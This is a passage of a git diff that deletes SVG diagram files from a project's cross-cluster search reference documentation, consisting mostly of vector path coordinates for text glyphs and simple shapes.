374.222,675.052725 374.044916,674.021475 Z M390.654291,673.802725 L392.341791,674.00585 C392.070958,674.995433 391.576166,675.766267 390.857416,676.31835 C390.138666,676.860017 389.216791,677.13085 388.091791,677.13085 C386.675125,677.13085 385.550125,676.698558 384.716791,675.833975 C383.893875,674.958975 383.482416,673.735017 383.482416,672.1621 C383.482416,670.526683 383.899083,669.261058 384.732416,668.365225 C385.576166,667.469392 386.664708,667.021475 387.998041,667.021475 C389.289708,667.021475 390.341791,667.464183 391.154291,668.3496 C391.977208,669.2246 392.388666,670.458975 392.388666,672.052725 C392.388666,672.156892 392.388666,672.302725 392.388666,672.490225 L385.169916,672.490225 C385.232416,673.552725 385.5345,674.370433 386.076166,674.94335 C386.617833,675.50585 387.289708,675.7871 388.091791,675.7871 C388.695958,675.7871 389.211583,675.63085 389.638666,675.31835 C390.06575,674.995433 390.404291,674.490225 390.654291,673.802725 Z M385.263666,671.146475 L390.669916,671.146475 C390.597,670.333975 390.388666,669.7246 390.044916,669.31835 C389.524083,668.682933 388.847,668.365225 388.013666,668.365225 C387.263666,668.365225 386.62825,668.620433 386.107416,669.13085 C385.597,669.63085 385.31575,670.302725 385.263666,671.146475 Z M400.717493,675.7246 C400.10291,676.235017 399.514368,676.5996 398.951868,676.81835 C398.399785,677.026683 397.800827,677.13085 397.154993,677.13085 C396.092493,677.13085 395.274785,676.870433 394.701868,676.3496 C394.128952,675.828767 393.842493,675.167308 393.842493,674.365225 C393.842493,673.886058 393.951868,673.453767 394.170618,673.06835 C394.389368,672.672517 394.670618,672.360017 395.014368,672.13085 C395.368535,671.891267 395.764368,671.708975 396.201868,671.583975 C396.514368,671.500642 396.998743,671.417308 397.654993,671.333975 C398.97791,671.177725 399.951868,670.990225 400.576868,670.771475 C400.587285,670.542308 400.592493,670.401683 400.592493,670.3496 C400.592493,669.682933 400.436243,669.208975 400.123743,668.927725 C399.707077,668.563142 399.082077,668.38085 398.248743,668.38085 C397.47791,668.38085 396.910202,668.516267 396.545618,668.7871 C396.181035,669.057933 395.910202,669.531892 395.733118,670.208975 L394.123743,669.990225 C394.269577,669.313142 394.50916,668.766267 394.842493,668.3496 C395.175827,667.922517 395.660202,667.594392 396.295618,667.365225 C396.931035,667.136058 397.660202,667.021475 398.483118,667.021475 C399.316452,667.021475 399.988327,667.120433 400.498743,667.31835 C401.019577,667.50585 401.399785,667.750642 401.639368,668.052725 C401.889368,668.344392 402.061243,668.714183 402.154993,669.1621 C402.207077,669.44335 402.233118,669.948558 402.233118,670.677725 L402.233118,672.865225 C402.233118,674.386058 402.269577,675.3496 402.342493,675.75585 C402.41541,676.151683 402.550827,676.5371 402.748743,676.9121 L401.045618,676.9121 C400.868535,676.56835 400.75916,676.172517 400.717493,675.7246 Z M400.576868,672.052725 C399.983118,672.302725 399.092493,672.511058 397.904993,672.677725 C397.22791,672.771475 396.748743,672.88085 396.467493,673.00585 C396.186243,673.13085 395.967493,673.307933 395.811243,673.5371 C395.66541,673.766267 395.592493,674.026683 395.592493,674.31835 C395.592493,674.75585 395.75916,675.120433 396.092493,675.4121 C396.425827,675.703767 396.910202,675.8496 397.545618,675.8496 C398.170618,675.8496 398.72791,675.714183 399.217493,675.44335 C399.717493,675.1621 400.082077,674.781892 400.311243,674.302725 C400.488327,673.927725 400.576868,673.38085 400.576868,672.6621 L400.576868,672.052725 Z M404.765101,676.9121 L404.765101,667.240225 L406.233851,667.240225 L406.233851,668.708975 C406.608851,668.021475 406.952601,667.56835 407.265101,667.3496 C407.588018,667.13085 407.942184,667.021475 408.327601,667.021475 C408.879684,667.021475 409.442184,667.198558 410.015101,667.552725 L409.452601,669.06835 C409.046351,668.828767 408.645309,668.708975 408.249476,668.708975 C407.884893,668.708975 407.561976,668.81835 407.280726,669.0371 C406.999476,669.25585 406.796351,669.552725 406.671351,669.927725 C406.483851,670.511058 406.390101,671.151683 406.390101,671.8496 L406.390101,676.9121 L404.765101,676.9121 Z M417.305903,673.365225 L418.915278,673.583975 C418.738195,674.688142 418.28507,675.557933 417.555903,676.19335 C416.837153,676.81835 415.946528,677.13085 414.884028,677.13085 C413.561111,677.13085 412.498611,676.698558 411.696528,675.833975 C410.894445,674.969392 410.493403,673.729808 410.493403,672.115225 C410.493403,671.063142 410.665278,670.146475 411.009028,669.365225 C411.352778,668.583975 411.87882,668.000642 412.587153,667.615225 C413.295486,667.219392 414.06632,667.021475 414.899653,667.021475 C415.951736,667.021475 416.811111,667.2871 417.477778,667.81835 C418.144445,668.3496 418.571528,669.104808 418.759028,670.083975 L417.165278,670.31835 C417.009028,669.672517 416.738195,669.188142 416.352778,668.865225 C415.967361,668.531892 415.50382,668.365225 414.962153,668.365225 C414.139236,668.365225 413.467361,668.6621 412.946528,669.25585 C412.425695,669.8496 412.165278,670.7871 412.165278,672.06835 C412.165278,673.370433 412.415278,674.31835 412.915278,674.9121 C413.415278,675.495433 414.06632,675.7871 414.868403,675.7871 C415.514236,675.7871 416.050695,675.589183 416.477778,675.19335 C416.915278,674.797517 417.19132,674.188142 417.305903,673.365225 Z M420.321528,676.9121 L420.321528,663.552725 L421.962153,663.552725 L421.962153,668.3496 C422.72257,667.464183 423.686111,667.021475 424.852778,667.021475 C425.571508,667.021475 426.191289,667.1621 426.712122,667.44335 C427.243372,667.7246 427.623581,668.115225 427.852747,668.615225 C428.081914,669.115225 428.196497,669.839183 428.196497,670.7871 L428.196497,676.9121 L426.555872,676.9121 L426.555872,670.7871 C426.555872,669.964183 426.378789,669.365225 426.024622,668.990225 C425.670476,668.615225 425.165278,668.427725 424.509028,668.427725 C424.029861,668.427725 423.576736,668.557933 423.149653,668.81835 C422.72257,669.06835 422.415278,669.406892 422.227778,669.833975 C422.050695,670.261058 421.962153,670.854808 421.962153,671.615225 L421.962153,676.9121 L420.321528,676.9121 Z M435.864893,676.9121 L435.864893,667.240225 L437.333643,667.240225 L437.333643,668.708975 C437.708643,668.021475 438.052393,667.56835 438.364893,667.3496 C438.68781,667.13085 439.041977,667.021475 439.427393,667.021475 C439.979477,667.021475 440.541977,667.198558 441.114893,667.552725 L440.552393,669.06835 C440.146143,668.828767 439.745102,668.708975 439.349268,668.708975 C438.984685,668.708975 438.661768,668.81835 438.380518,669.0371 C438.099268,669.25585 437.896143,669.552725 437.771143,669.927725 C437.583643,670.511058 437.489893,671.151683 437.489893,671.8496 L437.489893,676.9121 L435.864893,676.9121 Z M448.718195,673.802725 L450.405695,674.00585 C450.134862,674.995433 449.64007,675.766267 448.92132,676.31835 C448.20257,676.860017 447.280695,677.13085 446.155695,677.13085 C444.739029,677.13085 443.614029,676.698558 442.780695,675.833975 C441.957779,674.958975 441.54632,673.735017 441.54632,672.1621 C441.54632,670.526683 441.962987,669.261058 442.79632,668.365225 C443.64007,667.469392 444.728612,667.021475 446.061945,667.021475 C447.353612,667.021475 448.405695,667.464183 449.218195,668.3496 C450.041112,669.2246 450.45257,670.458975 450.45257,672.052725 C450.45257,672.156892 450.45257,672.302725 450.45257,672.490225 L443.23382,672.490225 C443.29632,673.552725 443.598404,674.370433 444.14007,674.94335 C444.681737,675.50585 445.353612,675.7871 446.155695,675.7871 C446.759862,675.7871 447.275487,675.63085 447.70257,675.31835 C448.129654,674.995433 448.468195,674.490225 448.718195,673.802725 Z M443.32757,671.146475 L448.73382,671.146475 C448.660904,670.333975 448.45257,669.7246 448.10882,669.31835 C447.587987,668.682933 446.910904,668.365225 446.07757,668.365225 C445.32757,668.365225 444.692154,668.620433 444.17132,669.13085 C443.660904,669.63085 443.379654,670.302725 443.32757,671.146475 Z M451.812647,674.021475 L453.437647,673.771475 C453.520981,674.417308 453.770981,674.917308 454.187647,675.271475 C454.604314,675.615225 455.187647,675.7871 455.937647,675.7871 C456.687647,675.7871 457.244939,675.636058 457.609522,675.333975 C457.974106,675.021475 458.156397,674.656892 458.156397,674.240225 C458.156397,673.875642 457.994939,673.583975 457.672022,673.365225 C457.453272,673.219392 456.895981,673.0371 456.000147,672.81835 C454.791814,672.50585 453.953272,672.240225 453.484522,672.021475 C453.026189,671.802725 452.677231,671.500642 452.437647,671.115225 C452.198064,670.719392 452.078272,670.281892 452.078272,669.802725 C452.078272,669.375642 452.177231,668.979808 452.375147,668.615225 C452.573064,668.240225 452.843897,667.932933 453.187647,667.69335 C453.437647,667.50585 453.781397,667.3496 454.218897,667.2246 C454.666814,667.089183 455.140772,667.021475 455.640772,667.021475 C456.401189,667.021475 457.067856,667.13085 457.640772,667.3496 C458.213689,667.56835 458.635564,667.865225 458.906397,668.240225 C459.187647,668.615225 459.380356,669.115225 459.484522,669.740225 L457.875147,669.958975 C457.802231,669.458975 457.588689,669.06835 457.234522,668.7871 C456.890772,668.50585 456.401189,668.365225 455.765772,668.365225 C455.005356,668.365225 454.463689,668.490225 454.140772,668.740225 C453.828272,668.990225 453.672022,669.281892 453.672022,669.615225 C453.672022,669.823558 453.734522,670.016267 453.859522,670.19335 C453.994939,670.370433 454.208481,670.516267 454.500147,670.63085 C454.656397,670.69335 455.135564,670.833975 455.937647,671.052725 C457.104314,671.354808 457.916814,671.604808 458.375147,671.802725 C458.833481,672.000642 459.192856,672.2871 459.453272,672.6621 C459.713689,673.0371 459.843897,673.50585 459.843897,674.06835 C459.843897,674.620433 459.682439,675.136058 459.359522,675.615225 C459.047022,676.094392 458.588689,676.469392 457.984522,676.740225 C457.380356,677.000642 456.698064,677.13085 455.937647,677.13085 C454.687647,677.13085 453.729314,676.870433 453.062647,676.3496 C452.406397,675.828767 451.989731,675.052725 451.812647,674.021475 Z M468.125147,676.9121 L468.125147,675.490225 C467.375147,676.583975 466.354314,677.13085 465.062647,677.13085 C464.489731,677.13085 463.953272,677.021475 463.453272,676.802725 C462.963689,676.583975 462.599106,676.307933 462.359522,675.9746 C462.119939,675.641267 461.953272,675.235017 461.859522,674.75585 C461.786606,674.44335 461.750147,673.932933 461.750147,673.2246 L461.750147,667.240225 L463.390772,667.240225 L463.390772,672.5996 C463.390772,673.453767 463.427231,674.031892 463.500147,674.333975 C463.604314,674.761058 463.823064,675.0996 464.156397,675.3496 C464.489731,675.5996 464.901189,675.7246 465.390772,675.7246 C465.880356,675.7246 466.338689,675.5996 466.765772,675.3496 C467.203272,675.089183 467.510564,674.745433 467.687647,674.31835 C467.864731,673.88085 467.953272,673.250642 467.953272,672.427725 L467.953272,667.240225 L469.593897,667.240225 L469.593897,676.9121 L468.125147,676.9121 Z M472.12588,676.9121 L472.12588,663.552725 L473.766505,663.552725 L473.766505,676.9121 L472.12588,676.9121 Z M479.895716,675.44335 L480.130091,676.896475 C479.671758,676.990225 479.2603,677.0371 478.895716,677.0371 C478.301966,677.0371 477.838425,676.94335 477.505091,676.75585 C477.182175,676.56835 476.953008,676.323558 476.817591,676.021475 C476.682175,675.708975 476.614466,675.063142 476.614466,674.083975 L476.614466,668.50585 L475.411341,668.50585 L475.411341,667.240225 L476.614466,667.240225 L476.614466,664.8496 L478.239466,663.865225 L478.239466,667.240225 L479.895716,667.240225 L479.895716,668.50585 L478.239466,668.50585 L478.239466,674.177725 C478.239466,674.636058 478.265508,674.932933 478.317591,675.06835 C478.380091,675.203767 478.473841,675.313142 478.598841,675.396475 C478.734258,675.469392 478.926966,675.50585 479.176966,675.50585 C479.35405,675.50585 479.593633,675.485017 479.895716,675.44335 Z M480.84463,674.021475 L482.46963,673.771475 C482.552963,674.417308 482.802963,674.917308 483.21963,675.271475 C483.636296,675.615225 484.21963,675.7871 484.96963,675.7871 C485.71963,675.7871 486.276921,675.636058 486.641505,675.333975 C487.006088,675.021475 487.18838,674.656892 487.18838,674.240225 C487.18838,673.875642 487.026921,673.583975 486.704005,673.365225 C486.485255,673.219392 485.927963,673.0371 485.03213,672.81835 C483.823796,672.50585 482.985255,672.240225 482.516505,672.021475 C482.058171,671.802725 481.709213,671.500642 481.46963,671.115225 C481.230046,670.719392 481.110255,670.281892 481.110255,669.802725 C481.110255,669.375642 481.209213,668.979808 481.40713,668.615225 C481.605046,668.240225 481.87588,667.932933 482.21963,667.69335 C482.46963,667.50585 482.81338,667.3496 483.25088,667.2246 C483.698796,667.089183 484.172755,667.021475 484.672755,667.021475 C485.433171,667.021475 486.099838,667.13085 486.672755,667.3496 C487.245671,667.56835 487.667546,667.865225 487.93838,668.240225 C488.21963,668.615225 488.412338,669.115225 488.516505,669.740225 L486.90713,669.958975 C486.834213,669.458975 486.620671,669.06835 486.266505,668.7871 C485.922755,668.50585 485.433171,668.365225 484.797755,668.365225 C484.037338,668.365225 483.495671,668.490225 483.172755,668.740225 C482.860255,668.990225 482.704005,669.281892 482.704005,669.615225 C482.704005,669.823558 482.766505,670.016267 482.891505,670.19335 C483.026921,670.370433 483.240463,670.516267 483.53213,670.63085 C483.68838,670.69335 484.167546,670.833975 484.96963,671.052725 C486.136296,671.354808 486.948796,671.604808 487.40713,671.802725 C487.865463,672.000642 488.224838,672.2871 488.485255,672.6621 C488.745671,673.0371 488.87588,673.50585 488.87588,674.06835 C488.87588,674.620433 488.714421,675.136058 488.391505,675.615225 C488.079005,676.094392 487.620671,676.469392 487.016505,676.740225 C486.412338,677.000642 485.730046,677.13085 484.96963,677.13085 C483.71963,677.13085 482.761296,676.870433 482.09463,676.3496 C481.43838,675.828767 481.021713,675.052725 480.84463,674.021475 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/ccs/ccs-min-roundtrip-cluster-results.svg b/docs/reference/images/ccs/ccs-min-roundtrip-cluster-results.svg
deleted file mode 100644
index 9ffb651b9da..00000000000
--- a/docs/reference/images/ccs/ccs-min-roundtrip-cluster-results.svg
+++ /dev/null
@@ -1,77 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="610px" height="588px" viewBox="0 0 610 588" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 960 0 960 768 0 768"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="ccs-min-roundtrip-cluster-results" transform="translate(-204.000000, -66.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="Path"></g>
-            <g id="Group" mask="url(#mask-2)">
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="0 0 960 0 960 768 0 768"></polygon>
-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="255.72198 251.88045 444.09994 251.88045 444.09994 292.321383 255.72198 292.321383"></polygon>
-                <path d="M289.93912,278.98795 C288.491203,278.98795 287.371412,278.545242 286.579745,277.659825 C285.788078,276.763992 285.392245,275.503575 285.392245,273.878575 C285.392245,272.201492 285.793287,270.909825 286.59537,270.003575 C287.40787,269.086908 288.553703,268.628575 290.03287,268.628575 C290.512037,268.628575 290.991203,268.680658 291.47037,268.784825 C291.959953,268.888992 292.340162,269.013992 292.610995,269.159825 L292.142245,270.441075 C291.808912,270.305658 291.444328,270.196283 291.048495,270.11295 C290.652662,270.0192 290.303703,269.972325 290.00162,269.972325 C287.97037,269.972325 286.954745,271.263992 286.954745,273.847325 C286.954745,275.076492 287.199537,276.0192 287.68912,276.67545 C288.18912,277.3317 288.928703,277.659825 289.90787,277.659825 C290.741203,277.659825 291.590162,277.482742 292.454745,277.128575 L292.454745,278.4567 C291.788078,278.810867 290.949537,278.98795 289.93912,278.98795 Z M296.336489,278.80045 L294.836489,278.80045 L294.836489,264.628575 L296.336489,264.628575 L296.336489,278.80045 Z M300.977084,268.816075 L300.977084,275.30045 C300.977084,276.11295 301.159376,276.722325 301.523959,277.128575 C301.898959,277.524408 302.477084,277.722325 303.258334,277.722325 C304.310417,277.722325 305.076042,277.435867 305.555209,276.86295 C306.034376,276.290033 306.273959,275.357742 306.273959,274.066075 L306.273959,268.816075 L307.789584,268.816075 L307.789584,278.80045 L306.539584,278.80045 L306.320834,277.4567 L306.242709,277.4567 C305.930209,277.9567 305.497917,278.336908 304.945834,278.597325 C304.404167,278.857742 303.779167,278.98795 303.070834,278.98795 C301.862501,278.98795 300.956251,278.701492 300.352084,278.128575 C299.747917,277.545242 299.445834,276.618158 299.445834,275.347325 L299.445834,268.816075 L300.977084,268.816075 Z M317.443362,276.0817 C317.443362,277.008783 317.094404,277.727533 316.396487,278.23795 C315.708987,278.73795 314.740237,278.98795 313.490237,278.98795 C312.16732,278.98795 311.13607,278.774408 310.396487,278.347325 L310.396487,276.9567 C310.875654,277.196283 311.38607,277.388992 311.927737,277.534825 C312.47982,277.670242 313.01107,277.73795 313.521487,277.73795 C314.313154,277.73795 314.922529,277.61295 315.349612,277.36295 C315.776695,277.102533 315.990237,276.717117 315.990237,276.2067 C315.990237,275.821283 315.818362,275.48795 315.474612,275.2067 C315.141279,274.92545 314.485029,274.597325 313.505862,274.222325 C312.578779,273.878575 311.91732,273.5817 311.521487,273.3317 C311.13607,273.071283 310.844404,272.779617 310.646487,272.4567 C310.458987,272.123367 310.365237,271.727533 310.365237,271.2692 C310.365237,270.4567 310.693362,269.816075 311.349612,269.347325 C312.016279,268.868158 312.927737,268.628575 314.083987,268.628575 C315.156904,268.628575 316.203779,268.847325 317.224612,269.284825 L316.693362,270.5192 C315.693362,270.102533 314.787112,269.8942 313.974612,269.8942 C313.255862,269.8942 312.714195,270.008783 312.349612,270.23795 C311.985029,270.467117 311.802737,270.774408 311.802737,271.159825 C311.802737,271.430658 311.870445,271.659825 312.005862,271.847325 C312.141279,272.034825 312.360029,272.217117 312.662112,272.3942 C312.964195,272.560867 313.547529,272.805658 314.412112,273.128575 C315.599612,273.555658 316.401695,273.98795 316.818362,274.42545 C317.235029,274.86295 317.443362,275.415033 317.443362,276.0817 Z M323.124575,277.73795 C323.395409,277.73795 323.650617,277.717117 323.8902,277.67545 C324.1402,277.633783 324.338117,277.592117 324.48395,277.55045 L324.48395,278.7067 C324.3277,278.790033 324.088117,278.857742 323.7652,278.909825 C323.442284,278.961908 323.155825,278.98795 322.905825,278.98795 C320.978742,278.98795 320.0152,277.967117 320.0152,275.92545 L320.0152,269.98795 L318.5777,269.98795 L318.5777,269.2692 L320.0152,268.628575 L320.6402,266.503575 L321.5152,266.503575 L321.5152,268.816075 L324.42145,268.816075 L324.42145,269.98795 L321.5152,269.98795 L321.5152,275.86295 C321.5152,276.467117 321.655825,276.930658 321.937075,277.253575 C322.228742,277.576492 322.624575,277.73795 323.124575,277.73795 Z M330.710757,278.98795 C329.23159,278.98795 328.064924,278.540033 327.210757,277.6442 C326.35659,276.73795 325.929507,275.48795 325.929507,273.8942 C325.929507,272.279617 326.32534,270.998367 327.117007,270.05045 C327.908674,269.102533 328.971174,268.628575 330.304507,268.628575 C331.564924,268.628575 332.554507,269.040033 333.273257,269.86295 C334.002424,270.685867 334.367007,271.774408 334.367007,273.128575 L334.367007,274.0817 L327.492007,274.0817 C327.523257,275.258783 327.820132,276.149408 328.382632,276.753575 C328.945132,277.357742 329.736799,277.659825 330.757632,277.659825 C331.830549,277.659825 332.893049,277.435867 333.945132,276.98795 L333.945132,278.3317 C333.413882,278.560867 332.908674,278.727533 332.429507,278.8317 C331.95034,278.935867 331.377424,278.98795 330.710757,278.98795 Z M330.288882,269.8942 C329.486799,269.8942 328.846174,270.159825 328.367007,270.691075 C327.898257,271.211908 327.622215,271.930658 327.538882,272.847325 L332.757632,272.847325 C332.757632,271.899408 332.54409,271.170242 332.117007,270.659825 C331.689924,270.149408 331.080549,269.8942 330.288882,269.8942 Z M341.505679,268.628575 C341.953596,268.628575 342.349429,268.665033 342.693179,268.73795 L342.490054,270.1442 C342.073387,270.05045 341.708804,270.003575 341.396304,270.003575 C340.594221,270.003575 339.901512,270.3317 339.318179,270.98795 C338.745262,271.6442 338.458804,272.461908 338.458804,273.441075 L338.458804,278.80045 L336.958804,278.80045 L336.958804,268.816075 L338.193179,268.816075 L338.380679,270.659825 L338.443179,270.659825 C338.818179,270.013992 339.266096,269.513992 339.786929,269.159825 C340.307762,268.805658 340.880679,268.628575 341.505679,268.628575 Z M344.355593,277.8317 C344.355593,277.42545 344.444135,277.118158 344.621218,276.909825 C344.808718,276.701492 345.074343,276.597325 345.418093,276.597325 C345.77226,276.597325 346.048302,276.701492 346.246218,276.909825 C346.444135,277.118158 346.543093,277.42545 346.543093,277.8317 C346.543093,278.227533 346.444135,278.534825 346.246218,278.753575 C346.048302,278.961908 345.77226,279.066075 345.418093,279.066075 C345.11601,279.066075 344.860802,278.972325 344.652468,278.784825 C344.454552,278.586908 344.355593,278.2692 344.355593,277.8317 Z M344.355593,269.784825 C344.355593,268.972325 344.70976,268.566075 345.418093,268.566075 C346.168093,268.566075 346.543093,268.972325 346.543093,269.784825 C346.543093,270.180658 346.444135,270.48795 346.246218,270.7067 C346.048302,270.915033 345.77226,271.0192 345.418093,271.0192 C345.11601,271.0192 344.860802,270.92545 344.652468,270.73795 C344.454552,270.540033 344.355593,270.222325 344.355593,269.784825 Z M358.604037,278.98795 C357.124871,278.98795 355.958204,278.540033 355.104037,277.6442 C354.249871,276.73795 353.822787,275.48795 353.822787,273.8942 C353.822787,272.279617 354.218621,270.998367 355.010287,270.05045 C355.801954,269.102533 356.864454,268.628575 358.197787,268.628575 C359.458204,268.628575 360.447787,269.040033 361.166537,269.86295 C361.895704,270.685867 362.260287,271.774408 362.260287,273.128575 L362.260287,274.0817 L355.385287,274.0817 C355.416537,275.258783 355.713412,276.149408 356.275912,276.753575 C356.838412,277.357742 357.630079,277.659825 358.650912,277.659825 C359.723829,277.659825 360.786329,277.435867 361.838412,276.98795 L361.838412,278.3317 C361.307162,278.560867 360.801954,278.727533 360.322787,278.8317 C359.843621,278.935867 359.270704,278.98795 358.604037,278.98795 Z M358.182162,269.8942 C357.380079,269.8942 356.739454,270.159825 356.260287,270.691075 C355.791537,271.211908 355.515496,271.930658 355.432162,272.847325 L360.650912,272.847325 C360.650912,271.899408 360.437371,271.170242 360.010287,270.659825 C359.583204,270.149408 358.973829,269.8942 358.182162,269.8942 Z M366.273959,268.816075 L366.273959,275.30045 C366.273959,276.11295 366.456251,276.722325 366.820834,277.128575 C367.195834,277.524408 367.773959,277.722325 368.555209,277.722325 C369.607293,277.722325 370.372918,277.435867 370.852084,276.86295 C371.331251,276.290033 371.570834,275.357742 371.570834,274.066075 L371.570834,268.816075 L373.086459,268.816075 L373.086459,278.80045 L371.836459,278.80045 L371.617709,277.4567 L371.539584,277.4567 C371.227084,277.9567 370.794793,278.336908 370.242709,278.597325 C369.701043,278.857742 369.076043,278.98795 368.367709,278.98795 C367.159376,278.98795 366.253126,278.701492 365.648959,278.128575 C365.044793,277.545242 364.742709,276.618158 364.742709,275.347325 L364.742709,268.816075 L366.273959,268.816075 Z M380.849612,268.628575 C381.297529,268.628575 381.693362,268.665033 382.037112,268.73795 L381.833987,270.1442 C381.417321,270.05045 381.052737,270.003575 380.740237,270.003575 C379.938154,270.003575 379.245446,270.3317 378.662112,270.98795 C378.089196,271.6442 377.802737,272.461908 377.802737,273.441075 L377.802737,278.80045 L376.302737,278.80045 L376.302737,268.816075 L377.537112,268.816075 L377.724612,270.659825 L377.787112,270.659825 C378.162112,270.013992 378.610029,269.513992 379.130862,269.159825 C379.651696,268.805658 380.224612,268.628575 380.849612,268.628575 Z M392.527652,273.80045 C392.527652,275.42545 392.116194,276.696283 391.293277,277.61295 C390.480777,278.529617 389.350569,278.98795 387.902652,278.98795 C387.006819,278.98795 386.209944,278.779617 385.512027,278.36295 C384.824527,277.935867 384.293277,277.3317 383.918277,276.55045 C383.543277,275.7692 383.355777,274.852533 383.355777,273.80045 C383.355777,272.17545 383.762027,270.909825 384.574527,270.003575 C385.387027,269.086908 386.517236,268.628575 387.965152,268.628575 C389.360986,268.628575 390.470361,269.097325 391.293277,270.034825 C392.116194,270.961908 392.527652,272.217117 392.527652,273.80045 Z M384.918277,273.80045 C384.918277,275.071283 385.173486,276.045242 385.683902,276.722325 C386.194319,277.388992 386.944319,277.722325 387.933902,277.722325 C388.923486,277.722325 389.673486,277.388992 390.183902,276.722325 C390.704736,276.055658 390.965152,275.0817 390.965152,273.80045 C390.965152,272.529617 390.704736,271.566075 390.183902,270.909825 C389.673486,270.253575 388.918277,269.92545 387.918277,269.92545 C386.928694,269.92545 386.178694,270.248367 385.668277,270.8942 C385.168277,271.540033 384.918277,272.508783 384.918277,273.80045 Z M399.827335,278.98795 C399.181502,278.98795 398.587752,278.868158 398.046085,278.628575 C397.504419,278.388992 397.051294,278.0192 396.68671,277.5192 L396.577335,277.5192 C396.650252,278.102533 396.68671,278.654617 396.68671,279.17545 L396.68671,283.284825 L395.18671,283.284825 L395.18671,268.816075 L396.40546,268.816075 L396.62421,270.17545 L396.68671,270.17545 C397.082544,269.633783 397.535669,269.243158 398.046085,269.003575 C398.566919,268.753575 399.160669,268.628575 399.827335,268.628575 C401.150252,268.628575 402.171085,269.0817 402.889835,269.98795 C403.608585,270.8942 403.96796,272.165033 403.96796,273.80045 C403.96796,275.435867 403.603377,276.711908 402.87421,277.628575 C402.145044,278.534825 401.129419,278.98795 399.827335,278.98795 Z M399.608585,269.92545 C398.587752,269.92545 397.848169,270.2067 397.389835,270.7692 C396.941919,271.3317 396.707544,272.227533 396.68671,273.4567 L396.68671,273.80045 C396.68671,275.2067 396.921085,276.211908 397.389835,276.816075 C397.858585,277.420242 398.608585,277.722325 399.639835,277.722325 C400.504419,277.722325 401.181502,277.373367 401.671085,276.67545 C402.160669,275.977533 402.40546,275.013992 402.40546,273.784825 C402.40546,272.534825 402.160669,271.5817 401.671085,270.92545 C401.181502,270.258783 400.494002,269.92545 399.608585,269.92545 Z M410.837894,278.98795 C409.358728,278.98795 408.192061,278.540033 407.337894,277.6442 C406.483728,276.73795 406.056644,275.48795 406.056644,273.8942 C406.056644,272.279617 406.452478,270.998367 407.244144,270.05045 C408.035811,269.102533 409.098311,268.628575 410.431644,268.628575 C411.692061,268.628575 412.681644,269.040033 413.400394,269.86295 C414.129561,270.685867 414.494144,271.774408 414.494144,273.128575 L414.494144,274.0817 L407.619144,274.0817 C407.650394,275.258783 407.947269,276.149408 408.509769,276.753575 C409.072269,277.357742 409.863936,277.659825 410.884769,277.659825 C411.957686,277.659825 413.020186,277.435867 414.072269,276.98795 L414.072269,278.3317 C413.541019,278.560867 413.035811,278.727533 412.556644,278.8317 C412.077478,278.935867 411.504561,278.98795 410.837894,278.98795 Z M410.416019,269.8942 C409.613936,269.8942 408.973311,270.159825 408.494144,270.691075 C408.025394,271.211908 407.749353,271.930658 407.666019,272.847325 L412.884769,272.847325 C412.884769,271.899408 412.671228,271.170242 412.244144,270.659825 C411.817061,270.149408 411.207686,269.8942 410.416019,269.8942 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
